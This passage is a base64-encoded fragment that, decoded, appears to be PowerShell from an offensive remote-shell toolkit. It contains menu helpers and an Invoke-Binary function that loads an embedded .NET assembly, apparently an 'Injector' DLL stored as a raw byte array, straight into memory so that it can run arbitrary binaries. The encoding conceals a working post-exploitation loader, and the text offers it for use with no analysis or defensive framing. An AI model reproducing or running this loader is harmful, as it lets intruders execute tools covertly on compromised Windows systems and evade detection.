AgICRtZXRob2RzID0gJG1ldGhvZHMgfCBTZWxlY3QtT2JqZWN0IC1VbmlxdWUgOyAkZ2xvYmFsOnNob3dtZXRob2RzID0gICAoJG1ldGhvZHN8IHdoZXJlIHsgJGdsb2JhbDpzaG93bWV0aG9kcyAgLW5vdGNvbnRhaW5zICRffSkgfCBmb3JlYWNoIHsiJF9gbiJ9CiAgICAgICAgICAgIAogICAgICAgIH0KICAgIH0KfQpmdW5jdGlvbiBtZW51IHsKW2FycmF5XSRmdW5jaW9uZXNfbnVldmFzID0gKGxzIGZ1bmN0aW9uOiB8IFdoZXJlLU9iamVjdCB7KCRfLm5hbWUpLkxlbmd0aCAtZ2UgIjQiIC1hbmQgJF8ubmFtZSAtbm90bGlrZSAiQ2xlYXItSG9zdCoiIC1hbmQgJF8ubmFtZSAtbm90bGlrZSAiQ29udmVydEZyb20tU2RkbFN0cmluZyIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJGb3JtYXQtSGV4IiAtYW5kICRfLm5hbWUgLW5vdGxpa2UgIkdldC1GaWxlSGFzaCoiIC1hbmQgJF8ubmFtZSAtbm90bGlrZSAiR2V0LVZlcmIqIiAtYW5kICRfLm5hbWUgLW5vdGxpa2UgImhlbHAiIC1hbmQgJF8ubmFtZSAtbmUgIkltcG9ydC1Qb3dlclNoZWxsRGF0YUZpbGUiIC1hbmQgJF8ubmFtZSAtbmUgIkltcG9ydFN5c3RlbU1vZHVsZXMiIC1hbmQgJF8ubmFtZSAtbmUgIk1haW4iIC1hbmQgJF8ubmFtZSAtbmUgIm1rZGlyIiAtYW5kICRfLm5hbWUgLW5lICJjZC4uIiAtYW5kICRfLm5hbWUgLW5lICJta2RpciIgLWFuZCAkXy5uYW1lIC1uZSAibW9yZSIgLWFuZCAkXy5uYW1lIC1uZSAiTmV3LUd1aWQiIC1hbmQgJF8ubmFtZSAtbmUgIk5ldy1UZW1wb3JhcnlGaWxlIiAtYW5kICRfLm5hbWUgLW5lICJQYXVzZSIgLWFuZCAkXy5uYW1lIC1uZSAiVGFiRXhwYW5zaW9uMiIgLWFuZCAkXy5uYW1lIC1uZSAicHJvbXB0IiAtYW5kICRfLm5hbWUgLW5lICJtZW51IiAtYW5kICRfLm5hbWUgLW5lICJhdXRvIiAtYW5kICRfLm5hbWUgLW5lICJzaG93LW1ldGhvZHMtbG9hZGVkIiB9IHwgc2VsZWN0LW9iamVjdCBuYW1lICkubmFtZQokbXVlc3RyYV9mdW5jaW9uZXMgPSAoJGZ1bmNpb25lc19udWV2YXMgfCB3aGVyZSB7JGZ1bmNpb25lc19wcmVjYXJnYWRhcyAtbm90Y29udGFpbnMgJF99KSB8IGZvcmVhY2ggeyJgblsrXSAkXyJ9CiRtdWVzdHJhX2Z1bmNpb25lcyA9ICRtdWVzdHJhX2Z1bmNpb25lcyAtcmVwbGFjZSAiICAiLCIiIAokbWVudSA9ICRtZW51ICsgJG11ZXN0cmFfZnVuY2lvbmVzICsgImBuIgokbWVudSA9ICRtZW51IC1yZXBsYWNlICIgWytdIiwiWytdIgpXcml0ZS1Ib3N0ICRtZW51Cgp9CmZ1bmN0aW9uIGF1dG8gewpbYXJyYXldJGZ1bmNpb25lc19udWV2YXMgPSAobHMgZnVuY3Rpb246IHwgV2hlcmUtT2JqZWN0IHsoJF8ubmFtZSkuTGVuZ3RoIC1nZSAiNCIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJDbGVhci1Ib3N0KiIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJDb252ZXJ0RnJvbS1TZGRsU3RyaW5nIiAtYW5kICRfLm5hbWUgLW5vdGxpa2UgIkZvcm1hdC1IZXgiIC1hbmQgJF8ubmFtZSAtbm90bGlrZSAiR2V0LUZpbGVIYXNoKiIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJHZXQtVmVyYioiIC1hbmQgJF8ubmFtZSAtbm90bGlrZSAiaGVscCIgLWFuZCAkXy5uYW1lIC1uZSAiSW1wb3J0LVBvd2VyU2hlbGxEYXRhRmlsZSIgLWFuZCAkXy5uYW1lIC1uZSAiSW1wb3J0U3lzdGVtTW9kdWxlcyIgLWFuZCAkXy5uYW1lIC1uZSAiTWFpbiIgLWFuZCAkXy5uYW1lIC1uZSAibWtkaXIiIC1hbmQgJF8ubmFtZSAtbmUgImNkLi4iIC1hbmQgJF8ubmFtZSAtbmUgIm1rZGlyIiAtYW5kICRfLm5hbWUgLW5lICJtb3JlIiAtYW5kICRfLm5hbWUgLW5lICJOZXctR3VpZCIgLWFuZCAkXy5uYW1lIC1uZSAiTmV3LVRlbXBvcmFyeUZpbGUiIC1hbmQgJF8ubmFtZSAtbmUgIlBhdXNlIiAtYW5kICRfLm5hbWUgLW5lICJUYWJFeHBhbnNpb24yIiAtYW5kICRfLm5hbWUgLW5lICJwcm9tcHQiIC1hbmQgJF8ubmFtZSAtbmUgIm1lbnUiIC1hbmQgJF8ubmFtZSAtbmUgInNob3ctbWV0aG9kcy1sb2FkZWQifSB8IHNlbGVjdC1vYmplY3QgbmFtZSApLm5hbWUKJG11ZXN0cmFfZnVuY2lvbmVzID0gKCRmdW5jaW9uZXNfbnVldmFzIHwgd2hlcmUgeyRmdW5jaW9uZXNfcHJlY2FyZ2FkYXMgLW5vdGNvbnRhaW5zICRffSkgfCBmb3JlYWNoIHsiJF9gbiJ9CiRtdWVzdHJhX2Z1bmNpb25lcyA9ICRtdWVzdHJhX2Z1bmNpb25lcyAtcmVwbGFjZSAiICAiLCIiIAokbXVlc3RyYV9mdW5jaW9uZXMKCgp9CmZ1bmN0aW9uIEludm9rZS1CaW5hcnkge3BhcmFtKCRhcmcpCiAgICAkaGVscD1AIgouU1lOT1BTSVMKICAgIEV4ZWN1dGUgYmluYXJpZXMgZnJvbSBtZW1vcnkuCiAgICBQb3dlclNoZWxsIEZ1bmN0aW9uOiBJbnZva2UtQmluYXJ5CiAgICBBdXRob3I6IEx1aXMgVmFjYXMgKEN5YmVyVmFjYSkKCiAgICBSZXF1aXJlZCBkZXBlbmRlbmNpZXM6IE5vbmUKICAgIE9wdGlvbmFsIGRlcGVuZGVuY2llczogTm9uZQouREVTQ1JJUFRJT04KICAgIAouRVhBTVBMRQogICAgSW52b2tlLUJpbmFyeSAvb3B0L2NzaGFycC9XYXRzb24uZXhlCiAgICBJbnZva2UtQmluYXJ5IC9vcHQvY3NoYXJwL0JpbmFyeS5leGUgcGFyYW0xLHBhcmFtMixwYXJhbTMKICAgIEludm9rZS1CaW5hcnkgL29wdC9jc2hhcnAvQmluYXJ5LmV4ZSAncGFyYW0xLCBwYXJhbTIsIHBhcmFtMycKICAgIERlc2NyaXB0aW9uCiAgICAtLS0tLS0tLS0tLQogICAgRnVuY3Rpb24gdGhhdCBleGVjdXRlIGJpbmFyaWVzIGZyb20gbWVtb3J5LgoKCiJACmlmICgkYXJnIC1lcSAkbnVsbCkgeyRoZWxwfSBlbHNlIHsKW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dQCg3NywgOTAsIDE0NCwgMCwgMywgMCwgMCwgMCwgNCwgMCwgMCwgMCwgMjU1LCAyNTUsIDAsIDAsIDE4NCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgNjQsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDEyOCwgMCwgMCwgMCwgMTQsIDMxLCAxODYsIDE0LCAwLCAxODAsIDksIDIwNSwgMzMsIDE4NCwgMSwgNzYsIDIwNSwgMzMsIDg0LCAxMDQsIDEwNSwgMTE1LCAzMiwgMTEyLCAxMTQsIDExMSwgMTAzLCAxMTQsIDk3LCAxMDksIDMyLCA5OSwgOTcsIDExMCwgMTEwLCAxMTEsIDExNiwgMzIsIDk4LCAxMDEsIDMyLCAxMTQsIDExNywgMTEwLCAzMiwgMTA1LCAxMTAsIDMyLCA2OCwgNzksIDgzLCAzMiwgMTA5LCAxMTEsIDEwMCwgMTAxLCA0NiwgMTMsIDEzLCAxMCwgMzYsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDgwLCA2OSwgMCwgMCwgNzYsIDEsIDMsIDAsIDI0NSwgMTgyLCAyMzEsIDkyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAyMjQsIDAsIDIsIDMzLCAxMSwgMSwgMTEsIDAsIDAsIDEwLCAwLCAwLCAwLCA2LCAwLCAwLCAwLCAwLCAwLCAwLCA5NCwgNDEsIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMCwgMCwgMTYsIDAsIDMyLCAwLCAwLCAwLCAyLCAwLCAwLCA0LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxMjgsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDAsIDAsIDAsIDMsIDAsIDk2LCAxMzMsIDAsIDAsIDE2LCAwLCAwLCAxNiwgMCwgMCwgMCwgMCwgMTYsIDAsIDAsIDE2LCAwLCAwLCAwLCAwLCAwLCAwLCAxNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMTIsIDQxLCAwLCAwLCA3OSwgMCwgMCwgMCwgMCwgNjQsIDAsIDAsIDQwLCAzLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA5NiwgMCwgMCwgMTIsIDAsIDAsIDAsIDIxMiwgMzksIDAsIDAsIDI4LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAzMiwgMCwgMCwgOCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgOCwgMzIsIDAsIDAsIDcyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA0NiwgMTE2LCAxMDEsIDEyMCwgMTE2LCAwLCAwLCAwLCAxMDAsIDksIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCAxMCwgMCwgMCwgMCwgMiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMzIsIDAsIDAsIDk2LCA0NiwgMTE0LCAxMTUsIDExNCwgOTksIDAsIDAsIDAsIDQwLCAzLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgNCwgMCwgMCwgMCwgMTIsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAwLCA2NCwgNDYsIDExNCwgMTAxLCAxMDgsIDExMSwgOTksIDAsIDAsIDEyLCAwLCAwLCAwLCAwLCA5NiwgMCwgMCwgMCwgMiwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAwLCA2NiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgNjQsIDQxLCAwLCAwLCAwLCAwLCAwLCAwLCA3MiwgMCwgMCwgMCwgMiwgMCwgNSwgMCwgMTk2LCAzMiwgMCwgMCwgMTYsIDcsIDAsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDE5LCA0OCwgNiwgMCwgMTA0LCAwLCAwLCAwLCAxLCAwLCAwLCAxNywgMCwgMTE1LCAxNSwgMCwgMCwgMTAsIDEwLCA2LCA0MCwgMTYsIDAsIDAsIDEwLCAwLCA2LCA0MCwgMTcsIDAsIDAsIDEwLCAwLCAyLCAyMiwgMTU0LCAxMTEsIDE4LCAwLCAwLCAxMCwgMTEsIDcsIDQwLCAxOSwgMCwgMCwgMTAsIDEyLCA4LCA0MCwgMjAsIDAsIDAsIDEwLCAxMywgOSwgMTExLCAyMSwgMCwgMCwgMTAsIDE5LCA0LCAxNywgNCwgMjAsIDIzLCAxNDEsIDEsIDAsIDAsIDEsIDE5LCA3LCAxNywgNywgMjIsIDIsIDIzLCA0MCwgMSwgMCwgMCwgNDMsIDQwLCAyLCAwLCAwLCA0MywgMTYyLCAxNywgNywgMTExLCAyNCwgMCwgMCwgMTAsIDM4LCA2LCAxMTEsIDE4LCAwLCAwLCAxMCwgMTksIDUsIDE3LCA1LCAxOSwgNiwgNDMsIDAsIDE3LCA2LCA0MiwgNjYsIDgzLCA3NCwgNjYsIDEsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDEyLCAwLCAwLCAwLCAxMTgsIDUyLCA0NiwgNDgsIDQ2LCA1MSwgNDgsIDUxLCA0OSwgNTcsIDAsIDAsIDAsIDAsIDUsIDAsIDEwOCwgMCwgMCwgMCwgNTYsIDIsIDAsIDAsIDM1LCAxMjYsIDAsIDAsIDE2NCwgMiwgMCwgMCwgNjgsIDMsIDAsIDAsIDM1LCA4MywgMTE2LCAxMTQsIDEwNSwgMTEwLCAxMDMsIDExNSwgMCwgMCwgMCwgMCwgMjMyLCA1LCAwLCAwLCA4LCAwLCAwLCAwLCAzNSwgODUsIDgzLCAwLCAyNDAsIDUsIDAsIDAsIDE2LCAwLCAwLCAwLCAzNSwgNzEsIDg1LCA3MywgNjgsIDAsIDAsIDAsIDAsIDYsIDAsIDAsIDE2LCAxLCAwLCAwLCAzNSwgNjYsIDEwOCwgMTExLCA5OCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMiwgMCwgMCwgMSwgNzEsIDIxLCAyLCAwLCA5LCA4LCAwLCAwLCAwLCAyNTAsIDM3LCA1MSwgMCwgMjIsIDAsIDAsIDEsIDAsIDAsIDAsIDI1LCAwLCAwLCAwLCAyLCAwLCAwLCAwLCAxLCAwLCAwLCAwLCAxLCAwLCAwLCAwLCAyNCwgMCwgMCwgMCwgMTIsIDAsIDAsIDAsIDEsIDAsIDAsIDAsIDEsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDAsIDAsIDEwLCAwLCAxLCAwLCAwLCAwLCAwLCAwLCA2LCAwLCA1NSwgMCwgNDgsIDAsIDYsIDAsIDEwMSwgMCwgNzUsIDAsIDYsIDAsIDE1MCwgMCwgMTMyLCAwLCA2LCAwLCAxNzMsIDAsIDEzMiwgMCwgNiwgMCwgMjAyLCAwLCAxMzIsIDAsIDYsIDAsIDIzMywgMCwgMTMyLCAwLCA2LCAwLCAyLCAxLCAxMzIsIDAsIDYsIDAsIDI3LCAxLCAxMzIsIDAsIDYsIDAsIDU0LCAxLCAxMzIsIDAsIDYsIDAsIDgxLCAxLCAxMzIsIDAsIDYsIDAsIDEzNywgMSwgMTA2LCAxLCA2LCAwLCAxNTcsIDEsIDEzMiwgMCwgNiwgMCwgMjAxLCAxLCAxODIsIDEsIDU1LCAwLCAyMjEsIDEsIDAsIDAsIDYsIDAsIDEyLCAyLCAyMzYsIDEsIDYsIDAsIDQ0LCAyLCAyMzYsIDEsIDYsIDAsIDkyLCAyLCA4MiwgMiwgNiwgMCwgMTA1LCAyLCA0OCwgMCwgNiwgMCwgMTEzLCAyLCA4MiwgMiwgNiwgMCwgMTQ5LCAyLCA0OCwgMCwgNiwgMCwgMTc0LCAyLCAxMzIsIDAsIDYsIDAsIDE4OCwgMiwgMTMyLCAwLCAxMCwgMCwgMjM4LCAyLCAyMjYsIDIsIDYsIDAsIDIwLCAzLCAyNDksIDIsIDYsIDAsIDQ3LCAzLCAxMzIsIDAsIDAsIDAsIDAsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDEsIDAsIDEsIDAsIDEyOSwgMSwgMTYsIDAsIDIyLCAwLCAzMSwgMCwgNSwgMCwgMSwgMCwgMSwgMCwgODAsIDMyLCAwLCAwLCAwLCAwLCAxNTAsIDAsIDYyLCAwLCAxMCwgMCwgMSwgMCwgMCwgMCwgMSwgMCwgNzAsIDAsIDE3LCAwLCAxMjYsIDAsIDE2LCAwLCAyNSwgMCwgMTI2LCAwLCAxNiwgMCwgMzMsIDAsIDEyNiwgMCwgMTYsIDAsIDQxLCAwLCAxMjYsIDAsIDE2LCAwLCA0OSwgMCwgMTI2LCAwLCAxNiwgMCwgNTcsIDAsIDEyNiwgMCwgMTYsIDAsIDY1LCAwLCAxMjYsIDAsIDE2LCAwLCA3MywgMCwgMTI2LCAwLCAxNiwgMCwgODEsIDAsIDEyNiwgMCwgMTYsIDAsIDg5LCAwLCAxMjYsIDAsIDIxLCAwLCA5NywgMCwgMTI2LCAwLCAxNiwgMCwgMTA1LCAwLCAxMjYsIDAsIDI2LCAwLCAxMjEsIDAsIDEyNiwgMCwgMzIsIDAsIDEyOSwgMCwgMTI2LCAwLCAzNywgMCwgMTM3LCAwLCAxMjYsIDAsIDM3LCAwLCAxNDUsIDAsIDEyNCwgMiwgNDEsIDAsIDE0NSwgMCwgMTMxLCAyLCA0MSwgMCwgOSwgMCwgMTQwLCAyLCA0NywgMCwgMTYxLCAwLCAxNTcsIDIsIDUxLCAwLCAxNjksIDAsIDE4MywgMiwgNTcsIDAsIDE2OSwgMCwgMTk5LCAyLCA2NCwgMCwgMTg1LCAwLCAzNCwgMywgNjksIDAsIDE4NSwgMCwgMzksIDMsIDkwLCAwLCAyMDEsIDAsIDU4LCAzLCAxMDMsIDAsIDQ2LCAwLCAxMSwgMCwgMTI2LCAwLCA0NiwgMCwgMTksIDAsIDE4MiwgMCwgNDYsIDAsIDI3LCAwLCAxOTUsIDAsIDQ2LCAwLCAzNSwgMCwgMTk1LCAwLCA0NiwgMCwgNDMsIDAsIDE5NSwgMCwgNDYsIDAsIDUxLCAwLCAxODIsIDAsIDQ2LCAwLCA1OSwgMCwgMjAxLCAwLCA0NiwgMCwgNjcsIDAsIDE5NSwgMCwgNDYsIDAsIDgzLCAwLCAxOTUsIDAsIDQ2LCAwLCA5OSwgMCwgMjIxLCAwLCA0NiwgMCwgMTA3LCAwLCAyMzAsIDAsIDQ2LCAwLCAxMTUsIDAsIDIzOSwgMCwgMTEwLCAwLCA0LCAxMjgsIDAsIDAsIDEsIDAsIDAsIDAsIDE3MSwgMjcsIDEzMCwgNzIsIDAsIDAsIDAsIDAsIDAsIDAsIDc0LCAyLCAwLCAwLCA0LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxLCAwLCAzOSwgMCwgMCwgMCwgMCwgMCwgNCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMSwgMCwgMjE0LCAyLCAwLCAwLCAwLCAwLCA0NSwgMCwgODYsIDAsIDQ3LCAwLCA4NiwgMCwgMCwgMCwgMCwgMCwgMCwgNjAsIDc3LCAxMTEsIDEwMCwgMTE3LCAxMDgsIDEwMSwgNjIsIDAsIDk5LCA5NywgOTgsIDEwMSwgMTE1LCAxMDQsIDk3LCA0NiwgMTAwLCAxMDgsIDEwOCwgMCwgNzMsIDExMCwgMTA2LCAxMDEsIDk5LCAxMTYsIDExMSwgMTE0LCAwLCA2NywgOTcsIDk4LCAxMDEsIDExNSwgMTA0LCA5NywgMCwgMTA5LCAxMTUsIDk5LCAxMTEsIDExNCwgMTA4LCAxMDUsIDk4LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDAsIDc5LCA5OCwgMTA2LCAxMDEsIDk5LCAxMTYsIDAsIDY5LCAxMjAsIDEwMSwgOTksIDExNywgMTE2LCAxMDEsIDAsIDk3LCAxMTQsIDEwMywgMTE1LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDQ2LCA4MiwgMTE3LCAxMTAsIDExNiwgMTA1LCAxMDksIDEwMSwgNDYsIDg2LCAxMDEsIDExNCwgMTE1LCAxMDUsIDExMSwgMTEwLCAxMDUsIDExMCwgMTAzLCAwLCA4NCwgOTcsIDExNCwgMTAzLCAxMDEsIDExNiwgNzAsIDExNCwgOTcsIDEwOSwgMTAxLCAxMTksIDExMSwgMTE0LCAxMDcsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA0NiwgOTksIDExNiwgMTExLCAxMTQsIDAsIDgzLCAxMjEsIDExNSwgMTE2LCAxMDEsIDEwOSwgNDYsIDgyLCAxMDEsIDEwMiwgMTA4LCAxMDEsIDk5LCAxMTYsIDEwNSwgMTExLCAxMTAsIDAsIDY1LCAxMTUsIDExNSwgMTAxLCAxMDksIDk4LCAxMDgsIDEyMSwgODQsIDEwNSwgMTE2LCAxMDgsIDEwMSwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDY1LCAxMTUsIDExNSwgMTAxLCAxMDksIDk4LCAxMDgsIDEyMSwgNjgsIDEwMSwgMTE1LCA5OSwgMTE0LCAxMDUsIDExMiwgMTE2LCAxMDUsIDExMSwgMTEwLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA2NywgMTExLCAxMTAsIDEwMiwgMTA1LCAxMDMsIDExNywgMTE0LCA5NywgMTE2LCAxMDUsIDExMSwgMTEwLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA2NywgMTExLCAxMDksIDExMiwgOTcsIDExMCwgMTIxLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA4MCwgMTE0LCAxMTEsIDEwMCwgMTE3LCA5OSwgMTE2LCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA2NywgMTExLCAxMTIsIDEyMSwgMTE0LCAxMDUsIDEwMywgMTA0LCAxMTYsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDg0LCAxMTQsIDk3LCAxMDAsIDEwMSwgMTA5LCA5NywgMTE0LCAxMDcsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDY3LCAxMTcsIDEwOCwgMTE2LCAxMTcsIDExNCwgMTAxLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCA0NiwgODIsIDExNywgMTEwLCAxMTYsIDEwNSwgMTA5LCAxMDEsIDQ2LCA3MywgMTEwLCAxMTYsIDEwMSwgMTE0LCAxMTEsIDExMiwgODMsIDEwMSwgMTE0LCAxMTgsIDEwNSwgOTksIDEwMSwgMTE1LCAwLCA2NywgMTExLCAxMDksIDg2LCAxMDUsIDExNSwgMTA1LCA5OCwgMTA4LCAxMDEsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDg2LCAxMDEsIDExNCwgMTE1LCAxMDUsIDExMSwgMTEwLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCA0NiwgNjgsIDEwNSwgOTcsIDEwMywgMTEwLCAxMTEsIDExNSwgMTE2LCAxMDUsIDk5LCAxMTUsIDAsIDY4LCAxMDEsIDk4LCAxMTcsIDEwMywgMTAzLCA5NywgOTgsIDEwOCwgMTAxLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjgsIDEwMSwgOTgsIDExNywgMTAzLCAxMDMsIDEwNSwgMTEwLCAxMDMsIDc3LCAxMTEsIDEwMCwgMTAxLCAxMTUsIDAsIDgzLCAxMjEsIDExNSwgMTE2LCAxMDEsIDEwOSwgNDYsIDgyLCAxMTcsIDExMCwgMTE2LCAxMDUsIDEwOSwgMTAxLCA0NiwgNjcsIDExMSwgMTA5LCAxMTIsIDEwNSwgMTA4LCAxMDEsIDExNCwgODMsIDEwMSwgMTE0LCAxMTgsIDEwNSwgOTksIDEwMSwgMTE1LCAwLCA2NywgMTExLCAxMDksIDExMiwgMTA1LCAxMDgsIDk3LCAxMTYsIDEwNSwgMTExLCAxMTAsIDgyLCAxMDEsIDEwOCwgOTcsIDEyMCwgOTcsIDExNiwgMTA1LCAxMTEsIDExMCwgMTE1LCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgODIsIDExNywgMTEwLCAxMTYsIDEwNSwgMTA5LCAxMDEsIDY3LCAxMTEsIDEwOSwgMTEyLCA5NywgMTE2LCAxMDUsIDk4LCAxMDUsIDEwOCwgMTA1LCAxMTYsIDEyMSwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDk5LCA5NywgOTgsIDEwMSwgMTE1LCAxMDQsIDk3LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDQ2LCA3MywgNzksIDAsIDgzLCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgODcsIDExNCwgMTA1LCAxMTYsIDEwMSwgMTE0LCAwLCA2NywgMTExLCAxMTAsIDExNSwgMTExLCAxMDgsIDEwMSwgMCwgODQsIDEwMSwgMTIwLCAxMTYsIDg3LCAxMTQsIDEwNSwgMTE2LCAxMDEsIDExNCwgMCwgODMsIDEwMSwgMTE2LCA3OSwgMTE3LCAxMTYsIDAsIDgzLCAxMDEsIDExNiwgNjksIDExNCwgMTE0LCAxMTEsIDExNCwgMCwgODQsIDExMSwgODMsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzLCAwLCA2NywgMTExLCAxMTAsIDExOCwgMTAxLCAxMTQsIDExNiwgMCwgNzAsIDExNCwgMTExLCAxMDksIDY2LCA5NywgMTE1LCAxMDEsIDU0LCA1MiwgODMsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDAsIDc2LCAxMTEsIDk3LCAxMDAsIDAsIDc3LCAxMDEsIDExNiwgMTA0LCAxMTEsIDEwMCwgNzMsIDExMCwgMTAyLCAxMTEsIDAsIDEwMywgMTAxLCAxMTYsIDk1LCA2OSwgMTEwLCAxMTYsIDExNCwgMTIxLCA4MCwgMTExLCAxMDUsIDExMCwgMTE2LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDQ2LCA2NywgMTExLCAxMTQsIDEwMSwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCA0NiwgNzYsIDEwNSwgMTEwLCAxMTMsIDAsIDY5LCAxMTAsIDExNywgMTA5LCAxMDEsIDExNCwgOTcsIDk4LCAxMDgsIDEwMSwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCA0NiwgNjcsIDExMSwgMTA4LCAxMDgsIDEwMSwgOTksIDExNiwgMTA1LCAxMTEsIDExMCwgMTE1LCA0NiwgNzEsIDEwMSwgMTEwLCAxMDEsIDExNCwgMTA1LCA5OSwgMCwgNzMsIDY5LCAxMTAsIDExNywgMTA5LCAxMDEsIDExNCwgOTcsIDk4LCAxMDgsIDEwMSwgOTYsIDQ5LCAwLCA4MywgMTA3LCAxMDUsIDExMiwgMCwgODQsIDExMSwgNjUsIDExNCwgMTE0LCA5NywgMTIxLCAwLCA3NywgMTAxLCAxMTYsIDEwNCwgMTExLCAxMDAsIDY2LCA5NywgMTE1LCAxMDEsIDAsIDczLCAxMTAsIDExOCwgMTExLCAxMDcsIDEwMSwgMCwgMCwgMCwgMCwgMCwgMywgMzIsIDAsIDAsIDAsIDAsIDAsIDM1LCAxODEsIDIwLCAyMzcsIDE3OCwgMjIsIDIwNSwgNzQsIDE0NSwgOTUsIDE3MSwgMzEsIDIyNCwgMjUxLCAyMjUsIDE2MywgMCwgOCwgMTgzLCAxMjIsIDkyLCA4NiwgMjUsIDUyLCAyMjQsIDEzNywgNSwgMC